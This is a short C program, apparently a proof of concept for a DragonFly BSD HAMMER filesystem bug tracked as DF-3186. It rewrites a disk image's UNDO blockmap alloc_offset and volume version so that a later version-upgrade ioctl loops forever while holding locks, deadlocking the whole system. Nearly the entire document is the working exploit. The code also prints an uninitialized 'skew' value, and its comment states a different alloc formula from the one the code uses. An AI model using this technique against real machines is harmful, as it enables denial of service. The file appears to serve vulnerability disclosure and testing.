DF-3186 / patch_undo.c
/* * DF-3186: forge a root volume header whose UNDO blockmap alloc_offset is * NOT congruent to HAMMER_UNDO_ALIGN (512) modulo first_offset, and whose * version is 3, so that HAMMERIOC_SET_VERSION -> hammer_upgrade_undo_4 * (hammer_undo.c:381-405) * * next_offset = HAMMER_ENCODE_UNDO(0); * while (next_offset != undomap->alloc_offset) { * ... hammer_bnew(DUMMY record) ... * next_offset += HAMMER_UNDO_ALIGN; (512) * } * * never terminates (equality unreachable through 512-byte steps), while * the ioctl holds hmp->flusher.finalize_lock and sync_lock exclusively * (hammer_ioctl.c:638-639): every fs operation on the mount blocks * forever and the dirtying DUMMY buffers eventually exhaust the buffer * cache -> system-wide buffer-cache deadlock. * * Root volume header field offsets (struct hammer_volume_ondisk, * hammer_disk.h:738-790, 8-byte aligned): * vol_version @ 152 * vol0_btree_root @ 240 * vol0_blockmap @ 256, 40 bytes/zone, UNDO index 3: * phys @ 256+120, first @ +8, next @ +16, alloc @ +24 * * We set alloc_offset = first_offset + roundup(next-first,512) + 512 + 256 * (>= next, so mount recovery's first/last <= alloc check passes, but * never equal to first + k*512). * * usage: patch_undo <image> */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #define VOL_VERSION_OFF 152 #define VOL0_BLOCKMAP_OFF 256 #define UNDO_INDEX 3 #define BLOCKMAP_SZ 40 int main(int argc, char **argv) { uint64_t first, next, alloc, skew; uint32_t ver = 3; int fd; if (argc != 2) { fprintf(stderr, "usage: %s <image>\n", argv[0]); exit(2); } fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); exit(2); } off_t bm = VOL0_BLOCKMAP_OFF + BLOCKMAP_SZ * UNDO_INDEX; if (pread(fd, &first, 8, bm + 8) != 8 || pread(fd, &next, 8, bm + 16) != 8 || pread(fd, &alloc, 8, bm + 24) != 8) { perror("pread blockmap"); exit(2); } printf("UNDO blockmap: first=0x%016jx next=0x%016jx alloc=0x%016jx\n", (uintmax_t)first, (uintmax_t)next, (uintmax_t)alloc); /* keep first/next as newfs left them; place alloc above next with a skew that is NOT a multiple of HAMMER_UNDO_ALIGN (512) */ alloc = next + 512 + 256; if (pwrite(fd, &alloc, 8, bm + 24) != 8) { perror("pwrite alloc"); exit(1); } if (pwrite(fd, &ver, 4, VOL_VERSION_OFF) != 4) { perror("pwrite ver"); exit(1); } printf("patched: alloc_offset=0x%016jx (skew %ju, NOT 512-congruent), " "vol_version=3\n", (uintmax_t)alloc, (uintmax_t)skew); close(fd); return 0; } |